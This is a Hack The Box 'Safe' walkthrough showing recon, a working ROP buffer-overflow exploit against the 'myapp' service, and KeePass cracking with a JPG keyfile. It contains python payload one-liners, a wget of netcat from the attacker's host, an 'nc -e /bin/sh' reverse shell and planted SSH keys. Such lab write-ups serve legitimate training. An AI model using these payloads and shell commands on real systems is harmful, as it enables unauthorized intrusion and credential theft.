Introduction
Marked as easy, Safe is a contentious box from HTB requiring a custom developed ROP (return-oriented programming) exploit tied into cracking a KeepPass database. Personally I absolutely loved the box from the perspective of digging into ROP and practicing the techniques. The box itself however was quite barren and could have definitely used a bit more "makeup" to get away from the CTF-like vibes. If you have a base in binary exploitation but haven't dived into ROP exploits before this is a great box to make that jump. The Ellingson box was then a good next-step as it took the same ROP concepts and required use of ret2lib which wasn't required here.
Initial Recon
Per normal kicking off the recon phase with an nmap
query.
root@kali:~/Desktop/HTB/Safe# nmap -sS -Pn -p1- -sV -sC --open -v 10.10.10.147
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-13 14:27 EDT
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA)
| 256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA)
|_ 256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
1337/tcp open waste?
| fingerprint-strings:
| DNSStatusRequestTCP:
| 14:28:48 up 1:13, 0 users, load average: 0.01, 0.03, 0.05
| DNSVersionBindReqTCP:
| 14:28:43 up 1:13, 0 users, load average: 0.02, 0.03, 0.06
| GenericLines:
| 14:28:32 up 1:12, 0 users, load average: 0.02, 0.03, 0.06
| What do you want me to echo back?
| GetRequest:
| 14:28:38 up 1:12, 0 users, load average: 0.02, 0.03, 0.06
| What do you want me to echo back? GET / HTTP/1.0
| HTTPOptions:
| 14:28:38 up 1:12, 0 users, load average: 0.02, 0.03, 0.06
| What do you want me to echo back? OPTIONS / HTTP/1.0
| Help:
| 14:28:53 up 1:13, 0 users, load average: 0.01, 0.02, 0.05
| What do you want me to echo back? HELP
| Kerberos, SSLSessionReq, TLSSessionReq:
| 14:28:53 up 1:13, 0 users, load average: 0.01, 0.02, 0.05
| What do you want me to echo back?
| NULL:
| 14:28:32 up 1:12, 0 users, load average: 0.02, 0.03, 0.06
| RPCCheck:
| 14:28:38 up 1:12, 0 users, load average: 0.02, 0.03, 0.06
| RTSPRequest:
| 14:28:38 up 1:12, 0 users, load average: 0.02, 0.03, 0.06
|_ What do you want me to echo back? OPTIONS / RTSP/1.0
1 service unrecognized despite returning data.
Already this seems interesting with port 1337. What happens when we go to the page manually
Hum...that output seems suspciously like the output of uptime
. So this should mean that at somepoint during the call it's executing the command and returning the result. Let's see if we can fuzz this quick and dirty.
So when passing 120 characters to the call it still prints out the uptime result, however seemingly the execution flow afterwards breaks.
I spent a bit of time attempting different inputs however all I was able to glean was the difference with >=120 characters. Decided to go back to the drawing board and look at port 80. Looks like just a default apache page - nothing special here. Or is there...
Sneaky... I went to http://10.10.10.147/myapp
and grabed a copy of the myapp program. Great now it's definitely looking more like a RE/Binex based challenge.
User exploitation
First thing I do is open up Ghidra to try and go through the source code decompile. The program itself seems quite simplistic.
Now that we understand the logic flow let's replicate the overflow with a debugger attached and see what we can find. While we're at it let's also take a quick look at the security settings of the app.
With NX set we know we won't be able to push our own code to the Stack and have it executed so we will need to look for a different avenue. Continuing with the execution flow we can see that we completely overwrite $rbp
. A quick look online gives a good breakdown on various register purposes - %rbp
points to the current stack frame, %rsp
points to the top of the stack. With our ability to overwrite %rbp
we should be able to leverage that to hijack execution flow. Let's get a bit more details using pattern create.
$rsp : 0x00007fffffffe188 → "Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af[...]"
$rbp : 0x3964413864413764 ("d7Ad8Ad9"?)
root@kali:~/Desktop/HTB/Safe# /usr/bin/msf-pattern_offset -q 0x3964413864413764
[*] Exact match at offset 112
root@kali:~/Desktop/HTB/Safe# /usr/bin/msf-pattern_offset -q Ae0A
[*] Exact match at offset 120
Ok so the first 112 bytes are garbage that fills up the gets()
array, the next 8 bytes will overwrite $rbp
and from 120 on looks like we're overwriting the stack.
Enter the ROP
Firstly, what is ROP? Good old wikipedia to the rescue.
In this technique, an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine's memory, called "gadgets". Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code. Chained together, these gadgets allow an attacker to perform arbitrary operations on a machine employing defenses that thwart simpler attacks.
Essentially we are trying to pass memory addresses to the stack that when sequentially executed will perform actions we want. At the end of the execution flow of myapp
there is a leave/ret combo.
0x4011ab <main+76> leave
0x4011ac <main+77> ret
Looking deeper into code theory I found that with leave - "...the old frame pointer is then popped from the stack..." and ret - "Transfers program control to a return address located on the top of the stack". Since we have control of the stack we should be able leverage this to load the stack with function addresses we want to execute. Thankfully there is a system()
call directly in the main function. We won't have to use any advanced techniques, we only need to reference the address of the function directly - 0x0040116e
. Padding the address appropriately for 64 bit, let's give it a shot and check in the debugger.
python -c 'print "A"*120 +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"C"*100' > specific5.txt
Excellent. We see the system()
call at the top of the stack and our breakpoint at myapp's return 0;
show's the execution flow is being redirected to system()
instead of exiting. Now this in itself wasn't particularly useful. I wanted to see how /usr/bin/uptime
was being passed to the call. I set up a breakpoint on the initial call and compared between this one and my forced call at the end.
Initial system call:
system@plt (
$rdi = 0x0000000000402008 → "/usr/bin/uptime",
$rsi = 0x00007fffffffe268 → 0x00007fffffffe549 → "/root/Desktop/HTB/Safe/myapp"
)
My system call:
system@plt (
$rdi = 0x0000000000000000,
$rsi = 0x0000000000405260 → "What do you want me to echo back? AAAAAAAAAAAAAAAA[...]"
)
Alright, so I need to find a gadget that can overwrite $rdi
to something of my choosing. Going back to the ghidra decompile I found a handy function built in to the app. Despite test()
never being called, it does provide us the appropriate gadgets necessary to update $rdi
.
**************************************************************
* FUNCTION *
**************************************************************
undefined test()
undefined AL:1 <RETURN>
test XREF[3]: Entry Point(*), 00402060,
00402108(*)
00401152 55 PUSH RBP
00401153 48 89 e5 MOV RBP,RSP
00401156 48 89 e7 MOV RDI,RSP
00401159 41 ff e5 JMP R13
Now there is one extra complication here. While test()
moves the value of $rsp
into $rdi
like we need, it then jumps to the value of $r13
which is currently/will be empty at the moment. We need to chain this call with another gadget that also pops an address off the stack (which we control) into $r13
. GDB has a nice ropper function for this exact purpose.
Ok so there are three pops as part of this gadget. We need to take that into consideration and include fluff to ensure we get the right address into r13
and the rest our stack isn't adversely affected. Thinking about this logically we want to form the exploit as follows:
"A"*120 + #fluff until the start of stack
"\x06\x12\x40\x00\x00\x00\x00\x00" + # pop r13; pop r14; pop r15; ret;
"\x6e\x11\x40\x00\x00\x00\x00\x00" + #system() - r13
"\x6e\x11\x40\x00\x00\x00\x00\x00" + #system() - r14
"\x6e\x11\x40\x00\x00\x00\x00\x00" + #system() - r15
"\x52\x11\x40\x00\x00\x00\x00\x00" + # test()
"/bin/sh " + #command we want to execute
"C"*100 #rest of fluff
Ok, let's put it together and see how it goes:
python -c 'print"A"*120 +
"\x06\x12\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x52\x11\x40\x00\x00\x00\x00\x00" +
"/bin/sh " + "C"*100' > custom5.txt
Wait a minute, that doesn't look right... It seems when attempting to execute it is pulling the first 8 characters before the stack in addition to what is on the stack. Essentially bytes 112-120, or what we overwrite into $rbp
. Ok we can work with that. Let's adjust the exploit.
python -c 'print "A"*112 + "/bin/sh " +
"\x06\x12\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x52\x11\x40\x00\x00\x00\x00\x00" +
"/bin/sh " + "C"*100' > custom6.txt
This also didn't work. But knowing where to look we took a look at our system()
call and see what $rdi
looks like.
system@plt (
$rdi = 0x00007fffffffe1a8 → "/bin/sh /bin/sh CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]",
$rsi = 0x0000000000405260 → "What do you want me to echo back? AAAAAAAAAAAAAAAA[...]"
)
Ok, we are calling /bin/sh
properly. Now we need to replace that second instance with the command we want to run and also terminate the command to avoid chaining the rest of the stack. I forgot to terminate on the next attempt, however that irrelevant as I managed to get my test command executed! At this point I was over the moon.
python -c 'print "A"*112 + "/bin/sh;" +
"\x06\x12\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x52\x11\x40\x00\x00\x00\x00\x00" +
"/bin/sh whoami" + "C"*100' > custom9.txt
root@kali:~/Desktop/HTB/Safe# cat custom9.txt | ./myapp
20:47:27 up 6:24, 1 user, load average: 0.19, 0.19, 0.18
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/sh;@
root
sh: 1: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC: not found
What do you want me to echo back? �G�^
Segmentation fault
With some tweaking I was ready give it a shot with the actual myapp
instead of my local variant. With baited breath I pressed enter and hoped for the best.
python -c 'print "A"*112 + "/bin/sh|" +
"\x06\x12\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x52\x11\x40\x00\x00\x00\x00\x00" +
"cat /home/user/user.txt;" + "C"*100' > custom13.txt
root@kali:~/Desktop/HTB/Safe# cat custom13.txt | nc 10.10.10.147 1337
21:20:13 up 2:26, 1 user, load average: 0.00, 0.01, 0.00
7a29e*********************
*Happy dance* while not a shell, I was able to cross user flag off the list. With my moment of joy subsiding, let's see how we can use this.
At this point, I essentially have single-command RCE. There are quite a few different ways I could do this. My initial thought was adding my ssh keys to authorized_keys. For whatever reason I couldn't get it to work with the single command RCE. Up next, I attempted to execute a nc
back to my local listener, but it seemed like it (among a lot of other common binaries) was not installed. No worries, let's get a static version of nc
and host it on our machine, then point our RCE to wget
it.
python -c 'print "A"*112 + "/bin/sh|" +
"\x06\x12\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x52\x11\x40\x00\x00\x00\x00\x00" +
"wget -P /home/user http://10.10.15.xxx/nc;" +
"C"*100' > custom13.txt
cat custom13.txt | nc 10.10.10.147 1337
21:53:02 up 2:59, 1 user, load average: 0.00, 0.03, 0.00
--2019-10-13 21:53:02-- http://10.10.15.xxx/nc
Connecting to 10.10.15.xxx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 959800 (937K)
Saving to: ‘/home/user/nc’
0K .......... .......... .......... .......... .......... 5% 1.28M 1s
50K .......... .......... .......... .......... .......... 10% 3.71M 0s
100K .......... .......... .......... .......... .......... 16% 3.20M 0s
150K .......... .......... .......... .......... .......... 21% 8.72M 0s
200K .......... .......... .......... .......... .......... 26% 7.80M 0s
250K .......... .......... .......... .......... .......... 32% 6.51M 0s
300K .......... .......... .......... .......... .......... 37% 4.55M 0s
350K .......... .......... .......... .......... .......... 42% 2.78M 0s
400K .......... .......... .......... .......... .......... 48% 4.13M 0s
450K .......... .......... .......... .......... .......... 53% 5.26M 0s
500K .......... .......... .......... .......... .......... 58% 5.75M 0s
550K .......... .......... .......... .......... .......... 64% 4.37M 0s
600K .......... .......... .......... .......... .......... 69% 4.64M 0s
650K .......... .......... .......... .......... .......... 74% 4.73M 0s
700K .......... .......... .......... .......... .......... 80% 4.79M 0s
750K .......... .......... .......... .......... .......... 85% 8.24M 0s
800K .......... .......... .......... .......... .......... 90% 6.02M 0s
850K .......... .......... .......... .......... .......... 96% 5.90M 0s
900K .......... .......... .......... ....... 100% 8.67M=0.2s
2019-10-13 21:53:02 (4.31 MB/s) - ‘/home/user/nc’ saved [959800/959800]
I then repeated the command setting it to executable with chmod +x /home/user/nc
. With my local listener setup, I format the command to connect back to me.
python -c 'print "A"*112 + "/bin/sh|" +
"\x06\x12\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x6e\x11\x40\x00\x00\x00\x00\x00" +
"\x52\x11\x40\x00\x00\x00\x00\x00" +
"/home/user/nc -e /bin/sh 10.10.15.xxx 1337;" +
"C"*100' > custom13.txt
root@kali:~/Desktop/HTB/Safe# cat custom13.txt | nc 10.10.10.147 1337
21:54:58 up 3:01, 1 user, load average: 0.00, 0.01, 0.00
Now that there is a limited shell, let's add the ssh keys and connect back properly.
echo "ssh-rsa AAAAB3NzaC1yc2EA.....OR1FcXBuOItl root@kali" > authorized_keys
root@kali:~/Desktop/HTB/Safe# ssh user@10.10.10.147
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Oct 13 20:03:13 2019 from 10.10.14.38
user@safe:~$ pwd
/home/user
user@safe:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth)
Bam. Ok what a ride. It's not over yet though, we still have root to conquer.
Root exploitation
Unfortunately root was not as exciting as user. I did however still learn a thing or two going through the process. With our proper user shell I take a look around and notice a .kdbx file along with 6 JPG files. Let's move those over to our machine for further analysis.
root@kali:~/Desktop/HTB/Safe/roots# scp user@10.10.10.147:/home/user/IMG* .
IMG_0545.JPG 100% 1863KB 5.0MB/s 00:00
IMG_0546.JPG 100% 1872KB 4.3MB/s 00:00
IMG_0547.JPG 100% 2470KB 3.4MB/s 00:00
IMG_0548.JPG 100% 2858KB 3.6MB/s 00:00
IMG_0552.JPG 100% 1099KB 3.4MB/s 00:00
IMG_0553.JPG 100% 1060KB 3.8MB/s 00:00
root@kali:~/Desktop/HTB/Safe/roots# scp user@10.10.10.147:/home/user/My* .
MyPasswords.kdbx 100% 2446 121.7KB/s 00:00
After a bit of searching around find out that .kdbx is a Keeppass database file. This article gave me a bit of background in how to use JTR to crack the database. After going through the full rockyou.txt
wordlist it didn't seem like I had this right. A little deeper searching and I found this article that explained how Keeppass databases can also be locked using a keyfile. Considering we have 6 different JPG files this seems like an interesting angle. Using the various JPGs used keepass2john
to generate the hash and pass it along to JTR. After a few attempts - victory!
root@kali:~/Desktop/HTB/Safe/roots# keepass2john -k IMG_0547.JPG MyPasswords.kdbx > jcrack.hash
root@kali:~/Desktop/HTB/Safe/roots# cat jcrack.hash
MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*e949722c426b3604b5f2c9c2068c46540a5a2a1c557e66766bab5881f36d93c7
root@kali:~/Desktop/HTB/Safe/roots# john jcrack.hash --wordlist ~/Desktop/rockyou.txt --format=KeePass
..
Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL])
...
bullshit (MyPasswords)
Session completed
Well that's a password alright. Let's get install kpcli
and take a poke at what we can see.
kpcli:/> import MyPasswords.kdbx . IMG_0547.JPG
Please provide the master password: *************************
kpcli:/> ls
=== Groups ===
eMail/
Internet/
./
Unfortunately both eMail and Internet were empty. Ok I wonder what else I can do with kpcli
.
kpcli:/> stats
File:
Key file: N/A
KeePass file version:
Encryption type:
Encryption rounds:
Number of groups: 11
Number of entries: 3
Entries with passwords of length:
- 1-7: 1
- 8-11: 1
- 20+: 1
kpcli:/.> find pass
Searching for "pass" ...
- 1 matches found and placed into /_found/
Would you like to show this entry? [y/N]
Path: /./MyPasswords/
Title: Root password
Uname: root
Pass: ****************************
URL:
Notes:
Oooohhh amazing! Ok so we dumped the "root" password into _found
.kpcli:/.> cd _found/
kpcli:/_found> ls
=== Entries ===
1. Root password
kpcli:/_found> show -f 0
Path: /./MyPasswords/
Title: Root password
Uname: root
Pass: u3v22*******************
URL:
Notes:
Now this wasn't the flag itself, so let's try and pivot to root using the kpcli
password as root's password.
And just like that, Safe is in the book.
Thanks folks. Until next time.